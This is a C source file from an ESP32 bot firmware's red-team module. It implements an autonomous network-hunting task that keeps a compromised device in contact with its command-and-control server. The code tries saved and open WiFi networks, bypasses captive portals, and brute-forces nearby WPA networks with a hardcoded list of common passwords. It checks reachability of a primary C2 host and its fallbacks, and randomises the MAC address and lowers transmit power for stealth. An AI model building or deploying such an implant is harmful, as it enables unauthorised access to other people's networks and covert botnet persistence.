espilon-source/espilon_bot/components/mod_redteam/rt_hunt.c
Eun0us 6d45770d98 epsilon: merge command system into core + add 5 new modules
Move command registry from components/command/ into components/core/.
New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota.
Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel).
Kconfig extended with per-module settings and async worker config.
2026-02-28 20:07:59 +01:00

727 lines
21 KiB
C

/*
* rt_hunt.c
* Red Team hunt state machine — autonomous network hunting.
* FreeRTOS task (8KB stack, Core 1).
*/
#include "sdkconfig.h"
#include "rt_hunt.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_stealth.h"
#include "rt_captive.h"
#include "rt_mesh.h"
static const char *TAG = "RT_HUNT";
#define RT_HUNT_STACK 8192
#define RT_HUNT_PRIO 6
#define RT_WIFI_TIMEOUT_MS 8000
#define RT_TCP_TIMEOUT_S 5
#define RT_RESCAN_DELAY_S 60
#define RT_MAX_WPA_TRIES 5
#define RT_WPA_MIN_RSSI -65
/* Event bits for WiFi events */
#define RT_EVT_GOT_IP BIT0
#define RT_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile rt_state_t s_state = RT_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static volatile bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[RT_IDLE] = "idle",
[RT_STEALTH_PREP] = "stealth_prep",
[RT_PASSIVE_SCAN] = "passive_scan",
[RT_MESH_PROBE] = "mesh_probe",
[RT_MESH_RELAY] = "mesh_relay",
[RT_TRYING_KNOWN] = "trying_known",
[RT_TRYING_OPEN] = "trying_open",
[RT_TRYING_WPA] = "trying_wpa",
[RT_PORTAL_CHECK] = "portal_check",
[RT_PORTAL_BYPASS] = "portal_bypass",
[RT_C2_VERIFY] = "c2_verify",
[RT_CONNECTED] = "connected",
[RT_GPRS] = "gprs",
};
/* Common WPA passwords (flash, not RAM) */
static const char * const common_passwords[] = {
"12345678", "password", "00000000", "11111111",
"123456789", "1234567890", "admin1234", "wifi1234",
"internet", "guest", "welcome", "freewifi",
"password1", "qwerty123", "abcd1234", "12341234",
"home1234", "default", "changeme",
};
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(rt_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_wifi_set_config(WIFI_IF_STA, &cfg);
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & RT_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable.
* Does NOT keep the socket — just verifies connectivity. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
/* Set connect timeout */
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(RT_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
/* Parse "ip:port" */
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(RT_CONNECTED);
char buf[128];
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* WiFi scan (active — passive scan is Phase 3)
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} rt_candidate_t;
#define RT_MAX_CANDIDATES 32
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
rt_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
/* Report to C2 */
char buf[64];
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* Strategy 1: Try known networks (NVS)
* ============================================================ */
static bool try_known_networks(void)
{
set_state(RT_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
/* Try each known network that was found in scan */
for (int n = 0; n < net_count; n++) {
/* Check if this SSID was in the scan results */
bool found_in_scan = false;
for (int c = 0; c < s_candidate_count; c++) {
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
found_in_scan = true;
break;
}
}
if (!found_in_scan) {
/* Still try — might be hidden or missed by scan */
}
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks
* ============================================================ */
static bool try_open_networks(void)
{
set_state(RT_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(RT_PORTAL_CHECK);
rt_portal_status_t portal = rt_captive_detect();
if (portal == RT_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == RT_PORTAL_DETECTED) {
set_state(RT_PORTAL_BYPASS);
if (rt_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Strategy 3: Try WPA with common passwords
* ============================================================ */
static bool try_wpa_common(void)
{
set_state(RT_TRYING_WPA);
for (int i = 0; i < s_candidate_count; i++) {
/* Only WPA/WPA2, strong signal */
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
s_candidates[i].authmode == WIFI_AUTH_WEP)
continue;
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue;
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
int tries = 0;
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
tries++;
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid,
common_passwords[p],
RT_WIFI_TIMEOUT_MS)) {
/* Connected! Verify C2 */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "wpa");
return true;
}
/* Connected to WiFi but C2 unreachable — still good find,
but continue looking for one with C2 access */
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
s_candidates[i].ssid, common_passwords[p]);
break; /* Don't try more passwords on this SSID */
}
}
}
return false;
}
/* ============================================================
* Hunt task — main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
extern SemaphoreHandle_t sock_mutex;
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Hunt task started");
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Let the command response (msg_info "Hunt started") flush over TCP
* before we disconnect WiFi. Without this delay the response is lost. */
vTaskDelay(pdMS_TO_TICKS(500));
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
wifi_pause_reconnect();
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_RT_STEALTH
set_state(RT_STEALTH_PREP);
rt_stealth_randomize_mac();
rt_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(RT_PASSIVE_SCAN);
do_wifi_scan();
/* ---- MESH PROBE ---- */
#ifdef CONFIG_RT_MESH
set_state(RT_MESH_PROBE);
rt_mesh_probe();
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
rt_mesh_peer_t peer;
if (rt_mesh_get_relay(&peer) && peer.available) {
set_state(RT_MESH_RELAY);
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
mark_connected("ESP-NOW", "mesh");
/* Stay in mesh relay mode until stopped or wifi found */
while (s_active && rt_mesh_is_running()) {
vTaskDelay(pdMS_TO_TICKS(5000));
}
if (!s_active) break;
}
#endif
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks ---- */
if (s_active && try_open_networks()) break;
/* ---- STRATEGY 3: WPA common passwords ---- */
if (s_active && try_wpa_common()) break;
/* ---- STRATEGY 4: GPRS ---- */
#ifdef CONFIG_RT_GPRS_FALLBACK
set_state(RT_GPRS);
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
RT_RESCAN_DELAY_S);
set_state(RT_IDLE);
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
/* Unregister our handler */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler);
if (s_state == RT_CONNECTED) {
/* We found a connection — let the normal tcp_client_task take over.
* It will use whatever WiFi we're connected to. */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_tx_power();
#endif
fb_active = false;
wifi_resume_reconnect();
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_mac();
rt_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
wifi_resume_reconnect();
/* Reconnect to original WiFi */
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *rt_hunt_state_name(rt_state_t state)
{
if (state <= RT_GPRS)
return state_names[state];
return "unknown";
}
rt_state_t rt_hunt_get_state(void)
{
state_lock();
rt_state_t st = s_state;
state_unlock();
return st;
}
bool rt_hunt_is_active(void)
{
return s_active;
}
const char *rt_hunt_connected_ssid(void)
{
/* Returned pointer is to static buffer — safe to read while mutex
ensures the string is not being partially written. Caller should
copy if it needs to keep the value. */
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *rt_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void rt_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Create mutex ONCE before any task uses it — avoids lazy init race */
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
s_active = true;
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"rt_hunt",
RT_HUNT_STACK,
NULL,
RT_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void rt_hunt_stop(void)
{
if (!s_active) return;
s_active = false; /* Signal task to exit */
/* Wait for task to finish cleanup (max 5s) */
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_REDTEAM */